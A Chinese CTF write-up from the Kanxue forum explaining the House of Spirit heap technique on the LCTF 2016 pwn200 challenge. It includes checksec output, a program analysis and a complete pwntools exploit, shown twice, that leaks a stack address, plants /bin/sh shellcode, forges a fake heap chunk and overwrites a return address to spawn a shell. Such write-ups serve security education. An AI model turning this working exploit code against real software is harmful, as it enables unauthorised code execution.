本文为看雪论坛优秀文章
看雪论坛作者ID:直木
利用场景
Free要绕过的检测
LCTF_2016-pwn200
file lctf_2016_pwn200lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, strippedchecksec --file=lctf_2016_pwn200RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3 lctf_2016_pwn200
到这的时候,栈空间布局如下:
(1) 输入1 :checkin
(2) 输入2:checkout
1)如果登记,返回已登记字符串,退出函数。
2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。
能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。
下面进行调试分析,验证一些分析。
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './lctf_2016_pwn200'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()#start# endp.interactive()
对于money,如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将'/n'输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。
对于id,也是同样如此,输入4位。
payload = 'a'*48ru('who are u?\n')s(payload)p.recvuntil(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, '\x00'))print(hex(rbp_addr))# input idsla('give me your id ~~?','111')# input moneysla('give me money~',0x37*'b')# recvive menuru('your choice : ')dbg()
id = 0x6f = 111
def checkin(num, money):sla('your choice : ', '1')sla('how long?\n', str(num))sa(str(num)+'\n',money)def checkout():sla('your choice : ','2')def quit():sla('choice : ','3')shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')# input name(shellcode)payload = ''payload = payload + shellcode.ljust(0x30)ru('who are u?\n')s(payload)ru(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, '\x00'))leak("rbp address",rbp_addr)# get shellcode_addr and fake_chunk_addrshellcode_addr = rbp_addr - 0x50fake_chunk_addr = rbp_addr- 0x90ru('give me your id ~~?\n')sl('32') # next chunk sizeru('give me money~\n')# input money(fake chunk)# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8payload = p64(0)*4 + p64(0) + p64(0x41)payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)s(payload)
e. free
checkout()dbg()f. 再次malloc并填充数据 # mallocpayload = 'a'*0x18 + p64(shellcode_addr)payload = payload.ljust(0x30,'\x00')checkin(0x30,payload)最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode。
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)ruf = lambda delims, drop=False :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\x00'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './lctf_2016_pwn200'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()def checkin(num, money):sla('your choice : ', '1')sla('how long?\n', str(num))sa(str(num)+'\n',money)def checkout():sla('your choice : ','2')def quit():sla('choice : ','3')shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')# input name(shellcode)payload = ''payload = payload + shellcode.ljust(0x30)ru('who are u?\n')s(payload)ru(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, '\x00'))leak("rbp address",rbp_addr)# get shellcode_addr and fake_chunk_addrshellcode_addr = rbp_addr - 0x50fake_chunk_addr = rbp_addr- 0x90ru('give me your id ~~?\n')sl('32') # next chunk sizeru('give me money~\n')# input money(fake chunk)# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8payload = p64(0)*4 + p64(0) + p64(0x41)payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)s(payload)# dbg()# freecheckout()# dbg()# mallocpayload = 'a'*0x18 + p64(shellcode_addr)payload = payload.ljust(0x30,'\x00')checkin(0x30,payload)#dbg()# quitquit()p.interactive()
参考文献
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!